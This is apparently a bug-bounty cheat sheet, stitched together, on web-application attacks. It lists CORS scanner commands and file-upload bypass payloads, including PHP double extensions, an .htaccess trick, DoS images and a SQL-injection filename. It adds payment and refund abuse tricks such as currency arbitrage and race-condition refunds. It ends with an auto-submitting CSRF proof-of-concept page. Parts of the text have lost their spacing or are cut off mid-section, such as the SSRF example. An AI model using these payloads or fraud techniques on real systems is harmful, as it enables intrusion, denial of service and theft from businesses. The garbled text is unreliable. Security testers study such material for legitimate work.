#To check CORS misconfigurations of specific domain:pythoncors_scan.py-uexample.com#To enable more debug info, use -v:pythoncors_scan.py-uexample.com-v#To save scan results to a JSON file, use -o:pythoncors_scan.py-uexample.com-ooutput_filename#To check CORS misconfigurations of specific URL:pythoncors_scan.py-uhttp://example.com/restapi#To check CORS misconfiguration with specific headers:pythoncors_scan.py-uexample.com-d"Cookie: test"#To check CORS misconfigurations of multiple domains/URLs:pythoncors_scan.py-itop_100_domains.txt-t100#To enable proxy for CORScanner, use -ppythoncors_scan.py-uexample.com-phttp://127.0.0.1:8080#To use socks5 proxy, install PySocks with pip install PySockspythoncors_scan.py-uexample.com-psocks5://127.0.0.1:8080
Bypassing CSRF Protect
POST /profile/update HTTP/1.1
HOST: example.com
...
_method=PUT
-----------------------------------------------------------------upload.random123---Totestifrandomfileextensionscanbeuploaded.upload.php---trytouploadasimplephpfile.upload.php.jpeg---Tobypasstheblacklist.upload.jpg.php---Tobypasstheblacklist.upload.php---andThenChangethecontenttypeofthefiletoimageorjpeg.upload.php*---version-1234567.upload.PHP---TobypassTheBlackList.upload.PhP---TobypassTheBlackList.upload.pHp---TobypassTheBlackList.upload.htaccess---Byuploadingthis [jpg,png] files can be executed as php with milicious code within it.pixelFlood.jpg---TotestagainttheDOS.frameflood.gif---uploadgiffilewith10^10FramesMaliciouszTXT---uploadUBER.jpgUploadzipfile---testagaintsZipslip (only whenfileuploadsupportszipfile)Check Overwrite Issue --- Upload file.txt and file.txt with different content and check if 2nd file.txt overwrites 1st file
SVGtoXSS---CheckifyoucanuploadSVGfilesandcanturnthemtocauseXSSonthetargetappSQLiViaFileupload---Tryuploading`sleep(10)-- -.jpg`asfile----------------------------------------------------------------------
Test for IDOR By changing the object references [filename, IDs,.....]
EXIF Geo-location Data Not Stripped From Uploaded Images > Manual User Enumeration
Letโs remind ourselves what SSRF vulnerabilities are and what can we do with them. In general, SSRF allows us to:
Access services on the loopback interface running on the remote server
Scan internal network and potentially interact with the discovered services
Read local files on the server using file:// protocol handler
Move laterally / pivoting into the internal environment
How to find SSRF? When the target web application allows us to access external resources, e.g., a profile image loaded from external URL (running on a 3rd party website), we can try to load internal resources accessible by the vulnerable web application. For example:
RCE if used on unsanitized user input. eval() and assert() execute PHP code in its input, while system(), exec(), shell_exec(), passthru(), popen(), and backticks execute system commands. include() and require() can be used to execute PHP code by feeding the function a URL to a remote PHP script.
PHP
unserialize()
Insecure deserialization if used on unsanitized user input
Python
eval(), exec(), os.system()
RCE if used on unsanitized user input
Python
pickle.loads(), yaml.load()
Insecure deserialization if used on unsanitized user input
JavaScript
document.write(), document.writeln
XSS if used on unsanitized user input. These functions write to the HTML document. So if attackers can control the value passed into it on a victim's page, the attacker can write JavaScript onto a victim's page.
JavaScript
document.location.href
Open redirect when used on unsanitized user input. document.location.href changes the location of the user's page.
Ruby
System(), exec(), %x(), backticks (`code`)
RCE if used on unsanitized user input
Ruby
Marshal.load(), yaml.load()
Insecure deserialization if used on unsanitized user input
Change some specific characters of the captcha parameter and see if it is possible to bypass the restriction.
POST / HTTP 1.1
Host: target.com
...
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
Try this to bypass
POST / HTTP 1.1
Host: target.com
...
_RequestVerificationToken=xxxdxxxaxxcxxx&_Username=daffa&_Password=test123
Business Logic Errors
Review Functionality
Some applications have an option where verified reviews are marked with some tick or it's mentioned. Try to see if you can post a review as a Verified Reviewer without purchasing that product.
Some app provides you with an option to provide a rating on a scale of 1 to 5, try to go beyond/below the scale-like provide 0 or 6 or -ve.
Try to see if the same user can post multiple ratings for a product. This is an interesting endpoint to check for Race Conditions.
Try to see if the file upload field is allowing any exts, it's often observed that the devs miss out on implementing protections on such endpoints.
Try to post reviews like some other users.
Try performing CSRF on this functionality, often is not protected by tokens
Coupon Code Functionality
Apply the same code more than once to see if the coupon code is reusable.
If the coupon code is uniquely usable, try testing for Race Condition on this function by using the same code for two accounts at a parallel time.
Try Mass Assignment or HTTP Parameter Pollution to see if you can add multiple coupon codes while the application only accepts one code from the Client Side.
Try performing attacks that are caused by missing input sanitization such as XSS, SQLi, etc. on this field
Try adding discount codes on the products which are not covered under discounted items by tampering with the request on the server-side.
Delivery Charges Abuse
Try tampering with the delivery charge rates to -ve values to see if the final amount can be reduced.
Try checking for the free delivery by tampering with the params.
Currency Arbitrage
Pay in 1 currency say USD and try to get a refund in EUR. Due to the diff in conversion rates, it might be possible to gain more amount.
Premium Feature Abuse
Try forcefully browsing the areas or some particular endpoints which come under premium accounts.
Pay for a premium feature and cancel your subscription. If you get a refund but the feature is still usable, it's a monetary impact issue.
Some applications use true-false request/response values to validate if a user is having access to premium features or not.
Try using Burp's Match & Replace to see if you can replace these values whenever you browse the app & access the premium features.
Always check cookies or local storage to see if any variable is checking if the user should have access to premium features or not.
Refund Feature Abuse
Purchase a product (usually some subscription) and ask for a refund to see if the feature is still accessible.
Try for currency arbitrage explained yesterday.
Try making multiple requests for subscription cancellation (race conditions) to see if you can get multiple refunds.
Cart/Wishlist Abuse
Add a product in negative quantity with other products in positive quantity to balance the amount.
Add a product in more than the available quantity.
Try to see when you add a product to your wishlist and move it to a cart if it is possible to move it to some other user's cart or delete it from there.
Thread Comment Functionality
Unlimited Comments on a thread
Suppose a user can comment only once, try race conditions here to see if multiple comments are possible.
Suppose there is an option: comment by the verified user (or some privileged user) try to tamper with various parameters in order to see if you can do this activity.
Try posting comments impersonating some other users.
Parameter Tampering
Tamper Payment or Critical Fields to manipulate their values
Add multiple fields or unexpected fields by abusing HTTP Parameter Pollution & Mass Assignment
Response Manipulation to bypass certain restrictions such as 2FA Bypass
Note that if the csrf token is related with the session cookie this attack won't work because you will need to set the victim your session, and therefore you will be attacking yourself.
To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
